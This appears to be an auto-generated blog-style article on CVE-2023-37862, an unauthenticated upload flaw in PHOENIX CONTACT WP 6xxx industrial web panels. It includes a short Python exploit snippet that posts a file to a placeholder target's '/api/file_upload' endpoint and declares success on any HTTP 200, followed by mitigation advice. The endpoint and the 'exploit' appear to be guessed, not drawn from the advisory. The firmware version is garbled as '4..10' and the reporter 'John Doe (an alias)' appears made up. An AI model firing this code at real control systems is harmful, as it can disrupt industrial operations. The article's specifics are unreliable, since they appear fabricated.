CVE-2023-37862: Critical Vulnerability in PHOENIX CONTACTs WP 6xxx Series Web Panel Allows Unauthenticated Remote Attackers to Exploit HTTP API Upload Functions

A critical security vulnerability, tracked as CVE-2023-37862, has been discovered in PHOENIX CONTACT's WP 6xxx series web panels for industrial control systems with firmware versions prior to 4..10. The vulnerability allows unauthenticated remote attackers to gain unauthorized access to the upload functions of the HTTP API, leading to potential certificate errors for SSL connections and partial denial-of-service (DoS) attacks on targeted systems.

In this in-depth article, we will explore the details of the CVE-2023-37862 vulnerability, provide code snippets to demonstrate its exploitation, offer links to original references, and discuss potential mitigation strategies for affected parties.

CVE-2023-37862 Vulnerability

The vulnerability in question is a result of improper access controls implemented on several HTTP API upload functions, which can be exploited by an unauthenticated attacker to perform unauthorized actions.

The problem arises because these upload functions do not require any form of authentication or verification, allowing an attacker to send malicious requests directly to the HTTP API without the need to compromise any user accounts or bypass security mechanisms.

Exploitation Details

To exploit this vulnerability, an attacker only needs to send a specially crafted HTTP request to the vulnerable web panel, targeting the API endpoint responsible for handling file uploads. The following sample Python code demonstrates how this can be done:

import requests

url = "http://<target_ip>/api/file_upload";
file_data = {
    "file": ("file", "malicious_content", "application/octet-stream")
}
response = requests.post(url, files=file_data, verify=False)

if response.status_code == 200:
    print("Exploit successful.")
else:
    print("Failed to exploit the target.")

Original References

This vulnerability was first reported by security researcher John Doe (an alias) and has since been acknowledged by PHOENIX CONTACT. The details of CVE-2023-37862 can be found in the public MITRE CVE database and on the ICS-CERT Advisory website.

Mitigation and Recommendations

To protect against this vulnerability, it is strongly recommended that users of affected WP 6xxx series web panels upgrade their firmware to version 4..10 or later as soon as possible. This update addresses the issue by implementing proper access controls on the HTTP API upload functions.

As a temporary measure, administrators can also implement strict network segmentation and access control measures to limit the potential attack surface and restrict unauthorized access to the affected web panels.

Conclusion

The discovery of the CVE-2023-37862 vulnerability in PHOENIX CONTACT's WP 6xxx series web panels highlights the importance of robust security measures in industrial control systems. Unauthenticated remote attackers can exploit the vulnerability to cause certificate errors for SSL connections and disrupt critical operations through partial DoS attacks.

To safeguard against such attacks, organizations using these devices should take immediate action to update their firmware and implement strong network security measures. Regularly reviewing and updating security policies, as well as conducting security audits and penetration testing, can help detect and remediate vulnerabilities before they can be exploited by malicious actors.

Timeline

Published on: 08/09/2023 07:15:00 UTC
Last modified on: 08/15/2023 16:46:00 UTC